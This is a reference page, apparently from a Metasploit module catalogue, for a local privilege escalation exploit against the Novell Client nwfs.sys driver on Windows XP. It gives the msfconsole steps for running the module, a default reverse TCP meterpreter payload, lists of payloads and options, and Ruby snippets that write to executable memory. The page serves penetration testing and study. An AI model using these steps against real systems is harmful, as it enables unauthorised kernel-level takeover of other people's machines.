Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/windows/local/novell_client_nwfs metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation
Module: exploit/windows/local/novell_client_nwfs
Source code: modules/exploits/windows/local/novell_client_nwfs.rb
Disclosure date: 2008-06-26
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): x86
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2008-3158
This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel space. The corruption occurs while handling ioctl requests with code 0x1438BB, where a 0x00000009 dword is written to an arbitrary address. An entry within the HalDispatchTable is overwritten in order to execute arbitrary code when NtQueryIntervalProfile is called. The module has been tested successfully on Windows XP SP3 with Novell Client 4.91 SP4.
Module Ranking and Traits
Module Ranking:
- average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/windows/local/novell_client_nwfs
msf exploit(novell_client_nwfs) > show targets
... a list of targets ...
msf exploit(novell_client_nwfs) > set TARGET target-id
msf exploit(novell_client_nwfs) > show options
... show and set options ...
msf exploit(novell_client_nwfs) > set SESSION session-id
msf exploit(novell_client_nwfs) > exploit
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the windows/local/novell_client_nwfs exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/novell_client_nwfs
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/novell_client_nwfs) > show info
Name: Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation
Module: exploit/windows/local/novell_client_nwfs
Platform: Windows
Arch: x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2008-06-26
Provided by:
Ruben Santamarta
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
1 Windows XP SP3
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
This module exploits a flaw in the nwfs.sys driver to overwrite data
in kernel space. The corruption occurs while handling ioctl requests
with code 0x1438BB, where a 0x00000009 dword is written to an
arbitrary address. An entry within the HalDispatchTable is
overwritten in order to execute arbitrary code when
NtQueryIntervalProfile is called. The module has been tested
successfully on Windows XP SP3 with Novell Client 4.91 SP4.
References:
https://nvd.nist.gov/vuln/detail/CVE-2008-3158
OSVDB (46578)
http://www.securityfocus.com/bid/30001
Module Options
This is a complete list of options available in the windows/local/novell_client_nwfs exploit:
msf6 exploit(windows/local/novell_client_nwfs) > show options
Module options (exploit/windows/local/novell_client_nwfs):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the windows/local/novell_client_nwfs exploit:
msf6 exploit(windows/local/novell_client_nwfs) > show advanced
Module advanced options (exploit/windows/local/novell_client_nwfs):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/novell_client_nwfs module can exploit:
msf6 exploit(windows/local/novell_client_nwfs) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Windows XP SP3
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/novell_client_nwfs exploit:
msf6 exploit(windows/local/novell_client_nwfs) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
6 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
7 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
8 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
9 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
10 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
11 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
12 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
13 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
14 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
15 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
16 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
17 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
18 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
19 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
21 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
22 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
23 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
24 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
25 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
26 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
27 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
28 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
29 payload/windows/exec normal No Windows Execute Command
30 payload/windows/loadlibrary normal No Windows LoadLibrary Path
31 payload/windows/messagebox normal No Windows MessageBox
32 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
33 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
34 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
35 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
36 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
37 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
38 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
39 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
40 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
41 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
42 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
43 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
44 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
45 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
46 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
47 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
48 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
49 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
50 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
51 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
52 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
53 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
55 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
56 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
57 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
58 payload/windows/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline
59 payload/windows/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline
60 payload/windows/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline
61 payload/windows/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline
62 payload/windows/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
63 payload/windows/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline
64 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
65 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
66 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
67 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
68 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
69 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
70 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
71 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
72 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
73 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
74 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
75 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
76 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
77 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
78 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
79 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
80 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
81 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
82 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
83 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
84 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
85 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
86 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
87 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
88 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
89 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
90 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
91 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
92 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
93 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
94 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
95 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
96 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
97 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
98 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
99 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
100 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
101 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
102 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
103 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
104 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
105 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
106 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
107 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
108 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
109 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
110 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
111 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
112 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
113 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
114 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
115 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
116 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
117 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
118 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
119 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
120 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
121 payload/windows/pingback_bind_tcp normal No Windows x86 Pingback, Bind TCP Inline
122 payload/windows/pingback_reverse_tcp normal No Windows x86 Pingback, Reverse TCP Inline
123 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
124 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
125 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
126 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
127 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
128 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
129 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
130 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
131 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
132 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
133 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
134 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
135 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
136 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
137 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
138 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
139 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
140 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
141 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
142 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
143 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
144 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
145 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
146 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
147 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
148 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
149 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
150 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
151 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
152 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
153 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
154 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
155 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
156 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
157 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
158 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
159 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
160 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
161 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
162 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
163 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
164 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
165 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
166 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
167 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
168 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
169 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
170 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
171 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
172 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
173 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
174 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
175 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
176 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
177 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
178 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
179 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
180 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
181 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
182 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
183 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
184 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
185 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
186 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
187 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
188 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
189 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/novell_client_nwfs exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/novell_client_nwfs) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
- Failed to allocate memory
- Failed to write contents to memory
- Failed to disclose the Kernel module name
- Failed to get a Kernel handle
- Failed to disclose the HalDispatchTable
- Failed to disclose hal.dll Base Address
- Running against 64-bit systems is not supported
- Remote system not detected as target, select the target manually
- \.nwfs device not found
- Failed to disclose necessary addresses for exploitation. Aborting.
- Error while storing the kernel stager shellcode on memory
- Error while storing trampoline on memory
- The exploitation wasn't successful
- Error while executing the payload
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to allocate memory
Here is a relevant code snippet related to the "Failed to allocate memory" error message:
131:
132: def fill_memory(proc, address, length, content)
133: result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
134:
135: if not proc.memory.writable?(address)
136: vprint_error("Failed to allocate memory")
137: return nil
138: else
139: vprint_good("#{address} is now writable")
140: end
141:
Failed to write contents to memory
Here is a relevant code snippet related to the "Failed to write contents to memory" error message:
140: end
141:
142: result = proc.memory.write(address, content)
143:
144: if result.nil?
145: vprint_error("Failed to write contents to memory")
146: return nil
147: else
148: vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
